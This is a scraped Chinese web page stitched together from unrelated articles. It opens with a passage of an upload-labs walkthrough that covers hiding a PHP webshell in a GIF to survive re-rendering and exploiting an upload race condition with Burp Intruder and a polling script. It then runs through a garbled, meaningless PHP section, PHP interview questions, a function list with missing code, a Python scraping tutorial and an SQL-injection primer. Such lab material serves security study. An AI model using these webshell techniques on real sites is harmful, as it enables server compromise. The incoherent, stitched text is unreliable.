特别注意!二次渲染我强烈推荐使用GIF格式的,因为jpg和png格式的二次渲染十分复杂,需要用到脚本,GIF的二次渲染算是比较简单.
实验步骤
1、创建一个a.php的脚本文件
2、在cmd命令行中,使用以下命令把1.gif和a.php合成图片马2.gif
3、使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了
4、上传图片马,并复制图片链接进行查看
5、右击复制图片,将图片下载到本地
6、使用010 Editor16进制编辑器打开图片,发现末尾的php代码没有了
GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
7、使用010 Editor16进制编辑器打开上传前的文件和上传后的文件,并对文件进行比较:
8.蓝色部分就是没有改变的地方,接着我们就可以将一句话木马插入蓝色部分,可以成功连接蚁剑.
7.条件竞争漏洞漏洞原理:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件.
总结起来一句话,因为服务器要在短时间里处理大量内容,但是解析代码需要时间,所以就会有破绽出来,我们就是利用这短暂的破绽进行绕过.
实验背景
先看源码:
$is_upload = false;<br />$msg = null; //判断文件上传操作<br /><br />if(isset($_POST['submit'])){ //判断是否接收到这个文件<br /> $ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'<br /> $file_name = $_FILES['upload_file']['name']; //获取图片的名字<br /> $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径<br /> $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀<br /> $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。<br /><br /> if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存<br /> if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比<br /> $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构<br /> rename($upload_file, $img_path); //把上面的文件名进行重命名<br /> $is_upload = true;<br /> }else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。<br /> unlink($upload_file);// 并删除这个文件<br /> }<br /> }else{<br /> $msg = '上传出错!';<br /> }<br />}
代码处理流程:声明一个数组,保存着允许上传的文件类型–>获取文件名和文件临时存储路径–>截取文件名–>构造文件上传后的存储路径–>对文件进行转存–>比对白名单,如果存在就对文件进行重命名–>否则就删除文件。通过上面代码我们发现:
服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致防护被绕过。
我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址,并且访问到这个文件。这时候就会造成条件竞争。
看懂了源码以后,我们模拟一下条件竞争的场景:10000人同时上传文件1.php,另外有10000人在同时访问这个1.php;上传文件时,这个文件会有一段时间留存在服务器的上传目录下,而服务器脚本在进行判断文件是否合法而对文件进行删除时,会有一定的处理时间,可能在某个时间里,服务器还未来得及删除文件,从而导致我们对这个上传文件成功访问。
实验过程
1.首先,改变一下我们的一句话木马
如果你想用一句话木马连接蚁剑的话那就太天真了,就是你运气好连接上蚁剑,也根本没时间查看就会被服务器删掉,所以我们就要猥琐一点,利用fputs()进行写入,当服务器解析解析完这个php文件的时候,我们就已经在该目录下创建了shell2.php了,而这个php文件里有一句话木马,且不是我们用户上传的,所以不会被删除.
2.使用burpsuite进行抓包,拦截代理流量,并把拦截到的数据包发送到Intruder模块
3.清空变量,并无止境地发送空包,模拟大量用户同时上传
为了让服务器解析变得困难点,我们将线程提高到20
设置完之后便可以开始爆破攻击了.以上便是模拟大量用户不停上传的场景,接下来我们要用模拟大量用户模拟访问.
4.使用python脚本模拟用户访问上传目标地址
import requests<br />url = "https://821-3a1ea0ce-39e7-4921 ... %3Bbr />while True:<br /> html = requests.get(url)<br /> if html.status_code == 200:<br /> print("OK")<br /> break<br /> else:<br /> print("NO")
我们可以随便上传一张图片,查看图片链接即可得到上传文件所在的url,将图片名改为我们上传的php文件,我这里是shell.php
这个脚本的意思是不停访问这个网址,直到状态码返回200,即访问成功的意思.若出现OK,代表我们上传成功,即shell2.php也被写入了该目录之下,我们就可以用蚁剑连接了.(记得连接的是shell2.php而不是shell.php,因为shell.php只是为了写入shell2.php的一个工具而已)
当然,如果用的是白名单,我们则需要使用图片马+条件竞争漏洞+文件包含漏洞三方一起才可以成功使用蚁剑连接.
总结
本次的讲解到这里基本就结束了,大家有空可以自己去过一些upload-labs这个靶场,肯定会有一些收获的.当然,文件上传漏洞可不仅仅上上面的这些,我列出来的都是基础,出的题肯定也是很灵活的,但是不管多灵活,只需要有足够扎实的基础以及代码审计能力,相信一定难不倒大家的.
最后,会利用漏洞当然也需要知道相应的防御手段:
不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名,不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查
php截取字符串网站内容存储在本地服务器一个php程序
网站优化 • 优采云 发表了文章 • 0 个评论 • 105 次浏览 • 2022-06-17 12:02
php截取字符串网站内容存储在本地服务器一个php程序可以有多个文件:
1、html文件
2、java程序在命令行下输入php-v,
1、php--set(设置条件或参数,可定义参数多种多样,包括自动执行php语句的参数,
2、php--include模块上不包含php代码的文件,并用标签包起来在模块名里加上,可以修改参数php内容获取的参数格式和代码如下:字符串:单引号匹配所有表达式的前项,且不会出现for-loop循环的参数格式:匹配前项最后一个字符类型contype="array"(。)group="center"("center")score=“${mp_user}+${mp_pass}+"mp_user+"score"mp_pass"mp_user[[${mp_user}/${mp_pass}}"mp_user"mp_pass"#打印"${mp_user}"和"${mp_user}"的所有用户。
3、php--include
4、php--include
5、php--include可以修改文件或文件
6、文件下面的子标签 查看全部
php截取字符串网站内容存储在本地服务器一个php程序
php截取字符串网站内容存储在本地服务器一个php程序可以有多个文件:
1、html文件
2、java程序在命令行下输入php-v,
1、php--set(设置条件或参数,可定义参数多种多样,包括自动执行php语句的参数,
2、php--include模块上不包含php代码的文件,并用标签包起来在模块名里加上,可以修改参数php内容获取的参数格式和代码如下:字符串:单引号匹配所有表达式的前项,且不会出现for-loop循环的参数格式:匹配前项最后一个字符类型contype="array"(。)group="center"("center")score=“${mp_user}+${mp_pass}+"mp_user+"score"mp_pass"mp_user[[${mp_user}/${mp_pass}}"mp_user"mp_pass"#打印"${mp_user}"和"${mp_user}"的所有用户。
3、php--include
4、php--include
5、php--include可以修改文件或文件
6、文件下面的子标签
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 65 次浏览 • 2022-06-13 04:22
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
个人总结:超实用PHP函数总结整理
网站优化 • 优采云 发表了文章 • 0 个评论 • 166 次浏览 • 2022-09-24 07:08
1、PHP加解密
PHP加解密函数可以用来加密一些存储在数据库中的有用字符串,通过可逆地解密字符串,这个函数使用base64和MD5加解密。
2、PHP 生成随机字符串
当我们需要生成随机名称、临时密码等字符串时,可以使用以下函数:
4、PHP 获取文件大小和格式
下面使用的函数可以获取文件的大小,并将其转换为可读的KB、MB等格式。
如下使用:
5、PHP 替换标签字符
有时我们需要用指定的内容替换字符串和模板标签,可以使用以下函数:
如下使用:
6、PHP 列出目录中的文件名
如果要列出目录中的所有文件,请使用以下代码:
如下使用:
7、PHP 获取当前页面 URL
以下函数可以获取当前页面的URL,无论是http还是https。
如下使用:
8、PHP强制文件下载
有时候我们不希望浏览器直接打开文件,比如PDF文件,而是直接下载文件,那么下面的函数可以强制下载文件,application/octet-stream头类型为在函数中使用。
如下使用:
下载('/down/test_45f73e852.zip');
9、PHP 截取字符串长度
我们经常会遇到需要截取字符串长度(包括汉字)的情况。比如标题显示不能超过多少个字符,超出的长度用...表示。下面的函数可以满足你的需求。
10、PHP获取客户端真实IP
我们经常使用数据库来记录用户的IP,下面的代码可以得到客户端的真实IP:
如下使用:
11、PHP 防止 SQL 注入
为了安全起见,我们在查询数据库的时候,需要过滤掉一些非法字符,防止恶意SQL注入。请看一下函数:
如下使用:
12、PHP页面提示和跳转
我们在进行表单操作时,有时为了友好需要提示用户操作结果,并跳转到相关页面,请看以下功能:
如下使用:
13、PHP计算时间
在处理时间的时候,我们需要从某个时间点开始计算当前时间的长度,比如计算客户端的运行时间,通常用hh:mm:ss来表示。
如下使用:
总结:python自动抓取论文_用python抓取某期刊最近5年发表的所有文章的关键词
在学术研究中,往往需要了解某个领域的最新发展趋势,比如发现最热门、上升最快的关键词。一些学术服务网站,比如Web of Science,提供了类似的服务,但是一些机构不订阅这些服务,在使用中难免会遇到各种问题,比如定制化不足。本期文章,我们探讨如何利用python和免费资源,根据论文进行研究趋势分析关键词。
精选期刊
想了解近年来国际商务领域的文章刊物,在google搜索“google学术期刊排名国际商务”,点击第一个链接,得到如下页面:
p>
以Journal of International Business Studies为例,它展示了如何捕捉近年来发表的所有信息文章。
查找 文章列表
经过一番搜索,我找到了自 2013 年以来发布的所有 442 个文章的列表:
点击图中红框内的按钮,将所有442篇文章文章的信息导出为CSV文件。
但是文档中只有每个文章的item title(项目标题)、作者(authors)和链接(URL),没有这么重要的关键词(关键词)和抽象(抽象)信息。
接下来,我们在python中编写一个循环,打开每个文章的链接,抓取关键词和摘要。
抓取网页元素
首先,我们定义一个get_keywords_abstract()函数来抓取给定网页中的相关元素,代码如下:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstract = selector.css('#Abs1 p::text').extract_first()
返回关键字,摘要
值得注意的是,我使用了scrapy库中的Selector类来解析网页。之所以这样,是因为相比Beautiful Soup、Pyquery等库,我更熟悉scrapy下css选择器的使用。
为了验证上面的代码是否正确,我在命令行中执行了下面的测试代码:
test_url = '%2Fs41267-019-00235-7'
关键词,摘要 = get_keywords_abstract(test_url)
打印(关键字)
打印(摘要)
结果有点出人意料:
>>> 打印(关键字)
['进入模式\xa0', '偏离预测\xa0', '内化理论\xa0', '有限理性\xa0', '认知偏差\xa0']
>>> 打印(摘要)
'我们探讨决策者何时以及为何选择偏离内部化理论预测的国际进入模式(例如,等级或市场)。通过将认知视角应用于进入模式决策,我们提出先前国际活动的表现以不同于内化理论假设的方式影响决策者的行为。更具体地说,由于一个'
关键词末尾有多余的字符,问题不大,可以在后续处理中批量删除。真正的问题是摘要不完整。
在浏览器中打开测试网页,右键查看源码,发现摘要中有一些html标签,如:
...由于代表性偏差,表现不佳...
正是这些 html 标签干扰了正常的文本抓取。
为了解决这个问题,我修改了get_keywords_abstract()函数:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstracts = selector.css('#Abs1 p::text').extract() #将extract_first()改为extract(),抓取所有文本片段
abstract = ''.join(abstracts) #连接文本片段
返回关键字,摘要
重新运行测试代码,发现问题解决了。
导入 CSV 文件
下一步是在 CSV 文件中导入 URL 列表,循环遍历 关键词 和摘要。
pandas 库用于导入 CSV 文件:
将熊猫导入为 pd
articles = pd.read_csv('../data/jibs_articles.csv', sep=',')
类型(文章)#
articles.shape # (442, 10)
articles.columns # 列名
articles.head() # 打印前 5 行
for循环
一旦一切正确,循环开始:
urls = 文章['URL']
关键字 = pd.Series(index=articles.index)
abstract = pd.Series(index=articles.index)
for i, url in enumerate(urls):
关键字[i],摘要[i] = get_keywords_abstract(url)
print("Finish article: {}".format(i)) # 抓取网页后,报个号,等待的时候感觉好点。
等了大约20分钟后,我终于抓住了它。只有一个文章打开错误。
保存到 CSV 文件
接下来,我们将关键词和summary整合到一个数据表中,并保存到一个CSV文件中。
articles['keywords'] = 关键字
文章['abstract'] = 摘要
articles.columns # 将关键词和摘要两列添加到数据表中
articles.to_csv('../data/jibs_keywords_abstract.csv', sep=',', header=True)
为了方便下次使用,我们对数据进行了“腌制”:
进口泡菜
with open("../data/articles.pickle", "wb") as f:
pickle.dump(文章, f)
下一次,我们将讨论基于关键词的研究趋势。 查看全部
个人总结:超实用PHP函数总结整理
1、PHP加解密
PHP加解密函数可以用来加密一些存储在数据库中的有用字符串,通过可逆地解密字符串,这个函数使用base64和MD5加解密。
2、PHP 生成随机字符串
当我们需要生成随机名称、临时密码等字符串时,可以使用以下函数:
4、PHP 获取文件大小和格式
下面使用的函数可以获取文件的大小,并将其转换为可读的KB、MB等格式。
如下使用:
5、PHP 替换标签字符
有时我们需要用指定的内容替换字符串和模板标签,可以使用以下函数:
如下使用:
6、PHP 列出目录中的文件名

如果要列出目录中的所有文件,请使用以下代码:
如下使用:
7、PHP 获取当前页面 URL
以下函数可以获取当前页面的URL,无论是http还是https。
如下使用:
8、PHP强制文件下载
有时候我们不希望浏览器直接打开文件,比如PDF文件,而是直接下载文件,那么下面的函数可以强制下载文件,application/octet-stream头类型为在函数中使用。
如下使用:
下载('/down/test_45f73e852.zip');
9、PHP 截取字符串长度
我们经常会遇到需要截取字符串长度(包括汉字)的情况。比如标题显示不能超过多少个字符,超出的长度用...表示。下面的函数可以满足你的需求。
10、PHP获取客户端真实IP

我们经常使用数据库来记录用户的IP,下面的代码可以得到客户端的真实IP:
如下使用:
11、PHP 防止 SQL 注入
为了安全起见,我们在查询数据库的时候,需要过滤掉一些非法字符,防止恶意SQL注入。请看一下函数:
如下使用:
12、PHP页面提示和跳转
我们在进行表单操作时,有时为了友好需要提示用户操作结果,并跳转到相关页面,请看以下功能:
如下使用:
13、PHP计算时间
在处理时间的时候,我们需要从某个时间点开始计算当前时间的长度,比如计算客户端的运行时间,通常用hh:mm:ss来表示。
如下使用:
总结:python自动抓取论文_用python抓取某期刊最近5年发表的所有文章的关键词
在学术研究中,往往需要了解某个领域的最新发展趋势,比如发现最热门、上升最快的关键词。一些学术服务网站,比如Web of Science,提供了类似的服务,但是一些机构不订阅这些服务,在使用中难免会遇到各种问题,比如定制化不足。本期文章,我们探讨如何利用python和免费资源,根据论文进行研究趋势分析关键词。
精选期刊
想了解近年来国际商务领域的文章刊物,在google搜索“google学术期刊排名国际商务”,点击第一个链接,得到如下页面:
p>
以Journal of International Business Studies为例,它展示了如何捕捉近年来发表的所有信息文章。
查找 文章列表
经过一番搜索,我找到了自 2013 年以来发布的所有 442 个文章的列表:
点击图中红框内的按钮,将所有442篇文章文章的信息导出为CSV文件。
但是文档中只有每个文章的item title(项目标题)、作者(authors)和链接(URL),没有这么重要的关键词(关键词)和抽象(抽象)信息。
接下来,我们在python中编写一个循环,打开每个文章的链接,抓取关键词和摘要。
抓取网页元素
首先,我们定义一个get_keywords_abstract()函数来抓取给定网页中的相关元素,代码如下:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstract = selector.css('#Abs1 p::text').extract_first()
返回关键字,摘要
值得注意的是,我使用了scrapy库中的Selector类来解析网页。之所以这样,是因为相比Beautiful Soup、Pyquery等库,我更熟悉scrapy下css选择器的使用。
为了验证上面的代码是否正确,我在命令行中执行了下面的测试代码:
test_url = '%2Fs41267-019-00235-7'
关键词,摘要 = get_keywords_abstract(test_url)

打印(关键字)
打印(摘要)
结果有点出人意料:
>>> 打印(关键字)
['进入模式\xa0', '偏离预测\xa0', '内化理论\xa0', '有限理性\xa0', '认知偏差\xa0']
>>> 打印(摘要)
'我们探讨决策者何时以及为何选择偏离内部化理论预测的国际进入模式(例如,等级或市场)。通过将认知视角应用于进入模式决策,我们提出先前国际活动的表现以不同于内化理论假设的方式影响决策者的行为。更具体地说,由于一个'
关键词末尾有多余的字符,问题不大,可以在后续处理中批量删除。真正的问题是摘要不完整。
在浏览器中打开测试网页,右键查看源码,发现摘要中有一些html标签,如:
...由于代表性偏差,表现不佳...
正是这些 html 标签干扰了正常的文本抓取。
为了解决这个问题,我修改了get_keywords_abstract()函数:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstracts = selector.css('#Abs1 p::text').extract() #将extract_first()改为extract(),抓取所有文本片段
abstract = ''.join(abstracts) #连接文本片段
返回关键字,摘要
重新运行测试代码,发现问题解决了。
导入 CSV 文件
下一步是在 CSV 文件中导入 URL 列表,循环遍历 关键词 和摘要。

pandas 库用于导入 CSV 文件:
将熊猫导入为 pd
articles = pd.read_csv('../data/jibs_articles.csv', sep=',')
类型(文章)#
articles.shape # (442, 10)
articles.columns # 列名
articles.head() # 打印前 5 行
for循环
一旦一切正确,循环开始:
urls = 文章['URL']
关键字 = pd.Series(index=articles.index)
abstract = pd.Series(index=articles.index)
for i, url in enumerate(urls):
关键字[i],摘要[i] = get_keywords_abstract(url)
print("Finish article: {}".format(i)) # 抓取网页后,报个号,等待的时候感觉好点。
等了大约20分钟后,我终于抓住了它。只有一个文章打开错误。
保存到 CSV 文件
接下来,我们将关键词和summary整合到一个数据表中,并保存到一个CSV文件中。
articles['keywords'] = 关键字
文章['abstract'] = 摘要
articles.columns # 将关键词和摘要两列添加到数据表中
articles.to_csv('../data/jibs_keywords_abstract.csv', sep=',', header=True)
为了方便下次使用,我们对数据进行了“腌制”:
进口泡菜
with open("../data/articles.pickle", "wb") as f:
pickle.dump(文章, f)
下一次,我们将讨论基于关键词的研究趋势。
sql注入学习分享
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-09-16 22:18
本文为看雪论坛精华文章
看雪论坛作者ID:xi@0ji233
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">一<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
WEB框架</p>
web应用一改我们平时常见的 p2p 和 C/S 模式,采用 B/S 模式。随着网络技术的发展,特别随着Web技术的不断成熟,B/S 这种软件体系结构出现了。浏览器-服务器(Browser/Server)结构,简称 B/S 结构,与 C/S不同,其客户端不需要安装专门的软件,只需要浏览器即可,浏览器与Web服务器交互,Web服务器与后端数据库进行交互,可以方便地在不同平台下工作。比如我们玩的英雄联盟就是典型的 C/S 结构的服务,因为有大量图片资源和 3D 模型存储在本地,因此提前安装好客户端就可以方便地与服务器进行交互,如果采用 B/S 结构的话,在我们游戏开始的时候就要与服务器建立连接,下载好各种资源到本地,然后再与服务器进行交互,各种页游均是 B/S 结构。B/S 的优势就是对需要服务一方的电脑要求较低,很容易可以兼容系统上的差异,客户往往只需要安装浏览器便可以享受全部的 web 服务。web 应用会先向我们的浏览器发送前端语言 javascript 或者 html 给浏览器解析执行,我们经过一定的操作之后会向服务器发送请求,然后服务器根据我们的请求做出不同的答复,这个答复还是前端语言形成的网页。服务器会根据什么规则去响应请求,这个就要用到后端语言了,如 php,aspx 等都是常见的后端语言,现在以 php 为主。比如我们实现一个登录页面,那么这个登录肯定是会用到数据库查询操作的,我们将请求提交给服务器之后,后端语言得到我们发送的数据,然后后端语言就会相应地构造 sql 语句去执行数据库查询,并根据查询结果来响应我们那么我们很清晰了,我们负责发送数据,php 构造 sql 语句去查询。首先明白一点,sql 语句肯定我们能控制,因为我输入什么它就要去查什么。我们的输入一定会被嵌入 sql 语句。如果我们在 sql 中能输入任意内容,那我就相当于直接控制了整个数据库。sql 注入的就这么产生了,带来的本质危害也就是数据库信息泄露,如果数据库配置权限过高甚至能让攻击者拿到 shell。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">二<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql语言</p>
SQL(Structured Query Language,结构化查询语言)是一种特定目的程式语言,用于管理关系数据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。
SQL基于关系代数和元组关系演算,包括一个数据定义语言和数据操纵语言。SQL的范围包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。尽管SQL经常被描述为,而且很大程度上是一种声明式编程(4GL),但是其也含有过程式编程的元素。(from wiki)我们最常用的数据库系统是mysql。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">三<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql常用函数</p>
数据库基本信息函数
注意,这些函数都无参数且在使用时必须使用 select 关键字输出。
字符串处理函数
在sql中,字符串通常使用一对单引号表示。
sql注入常用函数
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">四<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql内置数据库</p>
Mysql:保存账户信息,权限信息,存储过程,event,时区等信息。
sys:包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema:用于收集数据库服务器性能参数。
information_schema:它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的数据类型与访问权限等。
这里看似很复杂,实际上你只需要知道这个 performance_schema 数据库就可以了。对于一个未知的数据库,我们首先需要知道它的数据库名,数据表名,知道表名之后还得知道字段名,这样我们才能使用类似这样的 sql 语句 select 字段名 from 数据库.表名;去泄露数据库的具体信息。我们 navicat 打开这个数据库观察一下有什么表。
看着很多,其实我们只需要关心三个表:schemata,tables,columns,它们分别能爆出数据库名,表名和字段名。我们先看看第一个表 schemata 的具体信息:
可以看到里面的schema_name 字段的值就是我们当前这个数据库系统中所有的数据库的名字,从左边也可以一一对应看到对应的数据库。然后看看第二个表 tables 的信息。因为有点多我们看主要的:
可以看到里面有一个 table_name 字段就是整个数据库系统的所有表名,然后前面的 table_schema 就是这个表对应的数据库名。这里也可以看到我们这个数据库能从中找到 tables 和 schemata 这两个表名,以及其它乱七八糟的在上一张图也都有显示。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">五<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
获得数据库信息的其它方式</p>
在我们有一个 mysql 连接的情况下,我们想查看所有的数据库很简单,一句 show databases;即可解决,但是通常情况下我们这样子输入并不能很好的回显,如果把数据库名作为一条记录输出出来那处理起来会好很多。我们想查看数据库还可以用这种方式:select schema_name from information_schema.schemata;我们对比一下两个指令的结果。
